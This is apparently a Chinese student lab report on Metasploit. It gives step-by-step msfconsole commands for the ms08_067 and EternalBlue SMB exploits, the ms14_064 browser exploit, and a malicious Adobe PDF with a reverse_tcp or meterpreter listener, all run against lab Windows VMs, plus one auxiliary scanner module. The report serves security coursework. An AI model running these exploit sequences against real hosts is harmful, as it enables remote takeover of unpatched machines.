实验要求:
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
(1)一个主动攻击实践,如ms08_067; (1分)
(2)一个针对浏览器的攻击,如ms11_050;(1分)
(3)一个针对客户端的攻击,如Adobe;(1分)
(3)成功应用任何一个辅助模块。(0.5分)
基础问题回答:
(1)用自己的话解释什么是 exploit , payload , encode.
- exploit
渗透攻击模块,利用系统服务应用中的漏洞取得权限 - payload
一段代码,用于渗透之后在目标主机上执行 - encode
用来对payload进行编码,主要是为了避免“坏字符”和做到免杀
离实战还缺些什么技术或步骤?
- 还欠缺许多,我们目前只会使用msf的简单功能,搞不懂它的内部逻辑及运行原理,离实战还欠缺许许多多的更专业的知识
实验内容:
Exp5-1 主动攻击实践:实现ms08_067(失败)
靶机:Windows XP Professional(192.168.1.199)
payload:set payload generic/shell_reverse_tcp
实验步骤
- 靶机和攻击机ping通成功
- 试探靶机是否存在ms08_067这个漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.1.199
查看到靶机存在ms08_067这个漏洞,可以开始攻击
输入service postgresql start
启动服务器,再输入msfconsole
进入控制台
查看一下ms08_067这个漏洞在哪里search ms08-067
选择漏洞use exploit/windows/smb/ms08_067_netapi
查看设置信息show options
使用命令show targets
查看渗透攻击模块可以成功渗透攻击的平台
之后输入如下命令:
msf exploit(ms08_067_netapi) > show payloads//查看可用的攻击载荷
msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.127 //控制主机ip
msf exploit(ms08_067_netapi) > set LPORT 5328 //攻击端口
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.199 //靶机ip,特定漏洞端口已经固定
msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型,匹配度较高
msf exploit(ms08_067_netapi) > exploit //攻击
- 回连失败截图如下:
- 原因好像是已经打补丁修复了,没办法,只好换一个虚拟机
实现ms17_010_eternalblue(成功)
靶机:Windows 7 x64(192.168.1.205)
payload:payload/generic/shell_reverse_tcp
- 步骤同之前:
- 回连成功截图:
- 使用
ipconfig/all
查看IP地址
- 不知道为什么是这样的,但依然可以看到ip地址
Exp5-2 对浏览器攻击实践: 实现ms14_064(成功)
靶机:Windows XP Professional(192.168.1.199)
payload:windows/meterpreter/reverse_tcp
实验步骤
- 依次输入以下代码:
search ms14_064 #进行查找
use exploit/windows/browser/ms14_064_ole_code_execution #选择攻击模块
show payloads #显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp #设置tcp反向连接
show targets #查看靶机
set SRVHOST 192.168.1.127 #设置攻方IP
set AllowPowerShellPrompt true #因为msf中自带的漏洞利用exp调用的是 powershell。 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 192.168.1.127
set target 0 #设置winXP靶机
exploit #攻击
- 攻击成功:
Exp5-3 攻击客户端的实践:实现Adobe(成功)
靶机:Windows 7 x64(192.168.1.205)
payload:payload windows/meterpreter/reverse_tcp
实验步骤
- 依次输入以下代码:
search adobe #进行查找
use windows/fileformat/adobe_cooltype_sing #使用漏洞
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 192.168.1.127#攻击者地址
set FILENAME 20165328.pdf #设置生成pdf文件的文件名
exploit #攻击
- 生成
20165328.pdf
:
- 将生成的
20165328.pdf
复制到Window7中 - kali中输入
back
退出当前模块,进入监听模块:
use exploit/multi/handler #进入监听模块
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 192.168.1.127 #攻击者地址
exploit #攻击
- 在靶机中打开
20165328.pdf
- 攻击成功:
Exp5-4 成功应用一个辅助模块:scanner/http/prev_dir_same_name_file(成功且唯一)
靶机:Windows 7 x64(192.168.1.205)
实验步骤
- 输入
search use auxiliary/server
查看可用的辅助模块
话说辅助模块真的多,我不确定是否有人在我前面已经使用过了这些模块,所以我是一口气拉倒中间瞎选的一个模块,应该没人和我一样(总不至于瞎选都能碰上吧) - 确定使用
scanner/http/prev_dir_same_name_file
,使用search scanner/http/prev_dir_same_name_file
查找器位置
info
查看其信息:
- 再结合百度得来的介绍可知:
这个模块用来检索匹配目标主机的指定路径下的文件。
以下是有关它的功能的描述:
该模块识别第一个父目录中与给定目录路径具有相同名称的文件。 示例:PATH为Test / backup / files /将查找Test路径下文件/backup/files.ext,.ext为设定的文件类型。
以下结果说明扫描成功。 - 依次输入以下代码:
set RHOSTS 192.168.205#靶机ip
set LHOST 192.168.1.127#攻击机ip
set PATH C:/#设置扫描路径为C:/
set LPORT 5328#设置端口为5328
run#运行
- 运行成功截图如下:
实验体会
- 通过此次实验,我对msf有了更进一步的了解,学习到了更多的漏洞相关知识,但我感觉离实践还差点很远,还应再接再厉。